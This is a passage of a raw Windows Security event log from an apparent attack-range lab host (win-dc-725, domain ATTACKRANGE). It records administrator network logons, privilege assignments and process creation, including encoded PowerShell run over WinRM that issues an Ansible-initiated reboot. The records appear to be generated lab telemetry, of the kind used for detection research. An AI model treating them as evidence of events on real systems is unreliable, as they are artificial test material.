was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:43:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logon -OpCode=Info -RecordNumber=248020 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x5c8 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:43:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4776 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Credential Validation -OpCode=Info -RecordNumber=248019 -Keywords=Audit Success -Message=The computer attempted to validate the credentials for an account. - -Authentication Package: MICROSOFT_AUTHENTICATION_PACKAGE_V1_0 -Logon Account: Administrator -Source Workstation: WIN-DC-725 -Error Code: 0x0 -03/11/2021 11:43:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logoff -OpCode=Info -RecordNumber=248018 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x1F6EEB - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:43:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logoff -OpCode=Info -RecordNumber=248017 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x1F6496 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:43:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logoff -OpCode=Info -RecordNumber=248016 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x1F5140 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:43:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=248015 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - -Process Information: - New Process ID: 0x82c - New Process Name: C:\Windows\System32\wbem\WmiPrvSE.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x3b4 - Creator Process Name: C:\Windows\System32\svchost.exe - Process Command Line: C:\Windows\system32\wbem\wmiprvse.exe -Embedding - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:43:49 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Special Logon -OpCode=Info -RecordNumber=248068 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x20015D - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:43:49 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logon -OpCode=Info -RecordNumber=248067 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x20015D - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Process Information: - Process ID: 0x5c8 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:43:49 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logon -OpCode=Info -RecordNumber=248066 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x5c8 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:43:49 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4776 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Credential Validation -OpCode=Info -RecordNumber=248065 -Keywords=Audit Success -Message=The computer attempted to validate the credentials for an account. - -Authentication Package: MICROSOFT_AUTHENTICATION_PACKAGE_V1_0 -Logon Account: Administrator -Source Workstation: WIN-DC-725 -Error Code: 0x0 -03/11/2021 11:43:49 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logoff -OpCode=Info -RecordNumber=248064 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x1FF0BC - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:43:49 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=248063 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x1FCB55 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xdc0 - New Process Name: C:\Windows\System32\shutdown.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xf50 - Creator Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Process Command Line: "C:\Windows\system32\shutdown.exe" /r /t 2 /c "Reboot initiated by Ansible" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:43:49 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=248062 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x1FCB55 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xf50 - New Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xfe4 - Creator Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Process Command Line: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UwBlAHQALQBTAHQAcgBpAGMAdABNAG8AZABlACAALQBWAGUAcgBzAGkAbwBuACAATABhAHQAZQBzAHQACgBzAGgAdQB0AGQAbwB3AG4AIAAvAHIAIAAvAHQAIAAyACAALwBjACAAIgBSAGUAYgBvAG8AdAAgAGkAbgBpAHQAaQBhAHQAZQBkACAAYgB5ACAAQQBuAHMAaQBiAGwAZQAiAAoASQBmACAAKAAtAG4AbwB0ACAAJAA/ACkAIAB7ACAASQBmACAAKABHAGUAdAAtAFYAYQByAGkAYQBiAGwAZQAgAEwAQQBTAFQARQBYAEkAVABDAE8ARABFACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlACkAIAB7ACAAZQB4AGkAdAAgACQATABBAFMAVABFAFgASQBUAEMATwBEAEUAIAB9ACAARQBsAHMAZQAgAHsAIABlAHgAaQB0ACAAMQAgAH0AIAB9AA== - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:43:49 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Special Logon -OpCode=Info -RecordNumber=248061 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x1FF0BC - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:43:49 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logon -OpCode=Info -RecordNumber=248060 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x1FF0BC - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Process Information: - Process ID: 0x5c8 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:43:49 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logon -OpCode=Info -RecordNumber=248059 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x5c8 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:43:49 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4776 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Credential Validation -OpCode=Info -RecordNumber=248058 -Keywords=Audit Success -Message=The computer attempted to validate the credentials for an account. - -Authentication Package: MICROSOFT_AUTHENTICATION_PACKAGE_V1_0 -Logon Account: Administrator -Source Workstation: WIN-DC-725 -Error Code: 0x0 -03/11/2021 11:43:49 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=248057 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x1FCB55 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xfe4 - New Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xc40 - Creator Process Name: C:\Windows\System32\cmd.exe - Process Command Line: PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAAVQB3AEIAbABBAEgAUQBBAEwAUQBCAFQAQQBIAFEAQQBjAGcAQgBwAEEARwBNAEEAZABBAEIATgBBAEcAOABBAFoAQQBCAGwAQQBDAEEAQQBMAFEAQgBXAEEARwBVAEEAYwBnAEIAegBBAEcAawBBAGIAdwBCAHUAQQBDAEEAQQBUAEEAQgBoAEEASABRAEEAWgBRAEIAegBBAEgAUQBBAEMAZwBCAHoAQQBHAGcAQQBkAFEAQgAwAEEARwBRAEEAYgB3AEIAMwBBAEcANABBAEkAQQBBAHYAQQBIAEkAQQBJAEEAQQB2AEEASABRAEEASQBBAEEAeQBBAEMAQQBBAEwAdwBCAGoAQQBDAEEAQQBJAGcAQgBTAEEARwBVAEEAWQBnAEIAdgBBAEcAOABBAGQAQQBBAGcAQQBHAGsAQQBiAGcAQgBwAEEASABRAEEAYQBRAEIAaABBAEgAUQBBAFoAUQBCAGsAQQBDAEEAQQBZAGcAQgA1AEEAQwBBAEEAUQBRAEIAdQBBAEgATQBBAGEAUQBCAGkAQQBHAHcAQQBaAFEAQQBpAEEAQQBvAEEAUwBRAEIAbQBBAEMAQQBBAEsAQQBBAHQAQQBHADQAQQBiAHcAQgAwAEEAQwBBAEEASgBBAEEALwBBAEMAawBBAEkAQQBCADcAQQBDAEEAQQBTAFEAQgBtAEEAQwBBAEEASwBBAEIASABBAEcAVQBBAGQAQQBBAHQAQQBGAFkAQQBZAFEAQgB5AEEARwBrAEEAWQBRAEIAaQBBAEcAdwBBAFoAUQBBAGcAQQBFAHcAQQBRAFEAQgBUAEEARgBRAEEAUgBRAEIAWQBBAEUAawBBAFYAQQBCAEQAQQBFADgAQQBSAEEAQgBGAEEAQwBBAEEATABRAEIARgBBAEgASQBBAGMAZwBCAHYAQQBIAEkAQQBRAFEAQgBqAEEASABRAEEAYQBRAEIAdgBBAEcANABBAEkAQQBCAFQAQQBHAGsAQQBiAEEAQgBsAEEARwA0AEEAZABBAEIAcwBBAEgAawBBAFEAdwBCAHYAQQBHADQAQQBkAEEAQgBwAEEARwA0AEEAZABRAEIAbABBAEMAawBBAEkAQQBCADcAQQBDAEEAQQBaAFEAQgA0AEEARwBrAEEAZABBAEEAZwBBAEMAUQBBAFQAQQBCAEIAQQBGAE0AQQBWAEEAQgBGAEEARgBnAEEAUwBRAEIAVQBBAEUATQBBAFQAdwBCAEUAQQBFAFUAQQBJAEEAQgA5AEEAQwBBAEEAUgBRAEIAcwBBAEgATQBBAFoAUQBBAGcAQQBIAHMAQQBJAEEAQgBsAEEASABnAEEAYQBRAEIAMABBAEMAQQBBAE0AUQBBAGcAQQBIADAAQQBJAEEAQgA5AEEAQQA9AD0A - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:43:49 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=248056 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x1FCB55 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xc40 - New Process Name: C:\Windows\System32\cmd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x520 - Creator Process Name: C:\Windows\System32\winrshost.exe - Process Command Line: C:\Windows\system32\cmd.exe /C PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAAVQB3AEIAbABBAEgAUQBBAEwAUQBCAFQAQQBIAFEAQQBjAGcAQgBwAEEARwBNAEEAZABBAEIATgBBAEcAOABBAFoAQQBCAGwAQQBDAEEAQQBMAFEAQgBXAEEARwBVAEEAYwBnAEIAegBBAEcAawBBAGIAdwBCAHUAQQBDAEEAQQBUAEEAQgBoAEEASABRAEEAWgBRAEIAegBBAEgAUQBBAEMAZwBCAHoAQQBHAGcAQQBkAFEAQgAwAEEARwBRAEEAYgB3AEIAMwBBAEcANABBAEkAQQBBAHYAQQBIAEkAQQBJAEEAQQB2AEEASABRAEEASQBBAEEAeQBBAEMAQQBBAEwAdwBCAGoAQQBDAEEAQQBJAGcAQgBTAEEARwBVAEEAWQBnAEIAdgBBAEcAOABBAGQAQQBBAGcAQQBHAGsAQQBiAGcAQgBwAEEASABRAEEAYQBRAEIAaABBAEgAUQBBAFoAUQBCAGsAQQBDAEEAQQBZAGcAQgA1AEEAQwBBAEEAUQBRAEIAdQBBAEgATQBBAGEAUQBCAGkAQQBHAHcAQQBaAFEAQQBpAEEAQQBvAEEAUwBRAEIAbQBBAEMAQQBBAEsAQQBBAHQAQQBHADQAQQBiAHcAQgAwAEEAQwBBAEEASgBBAEEALwBBAEMAawBBAEkAQQBCADcAQQBDAEEAQQBTAFEAQgBtAEEAQwBBAEEASwBBAEIASABBAEcAVQBBAGQAQQBBAHQAQQBGAFkAQQBZAFEAQgB5AEEARwBrAEEAWQBRAEIAaQBBAEcAdwBBAFoAUQBBAGcAQQBFAHcAQQBRAFEAQgBUAEEARgBRAEEAUgBRAEIAWQBBAEUAawBBAFYAQQBCAEQAQQBFADgAQQBSAEEAQgBGAEEAQwBBAEEATABRAEIARgBBAEgASQBBAGMAZwBCAHYAQQBIAEkAQQBRAFEAQgBqAEEASABRAEEAYQBRAEIAdgBBAEcANABBAEkAQQBCAFQAQQBHAGsAQQBiAEEAQgBsAEEARwA0AEEAZABBAEIAcwBBAEgAawBBAFEAdwBCAHYAQQBHADQAQQBkAEEAQgBwAEEARwA0AEEAZABRAEIAbABBAEMAawBBAEkAQQBCADcAQQBDAEEAQQBaAFEAQgA0AEEARwBrAEEAZABBAEEAZwBBAEMAUQBBAFQAQQBCAEIAQQBGAE0AQQBWAEEAQgBGAEEARgBnAEEAUwBRAEIAVQBBAEUATQBBAFQAdwBCAEUAQQBFAFUAQQBJAEEAQgA5AEEAQwBBAEEAUgBRAEIAcwBBAEgATQBBAFoAUQBBAGcAQQBIAHMAQQBJAEEAQgBsAEEASABnAEEAYQBRAEIAMABBAEMAQQBBAE0AUQBBAGcAQQBIADAAQQBJAEEAQgA5AEEAQQA9AD0A - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:43:49 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Special Logon -OpCode=Info -RecordNumber=248055 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x1FE483 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:43:49 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logon -OpCode=Info -RecordNumber=248054 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x1FE483 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Process Information: - Process ID: 0x5c8 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:43:49 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logon -OpCode=Info -RecordNumber=248053 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x5c8 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:43:49 PM -LogName=Security -SourceName=Microsoft Windows security 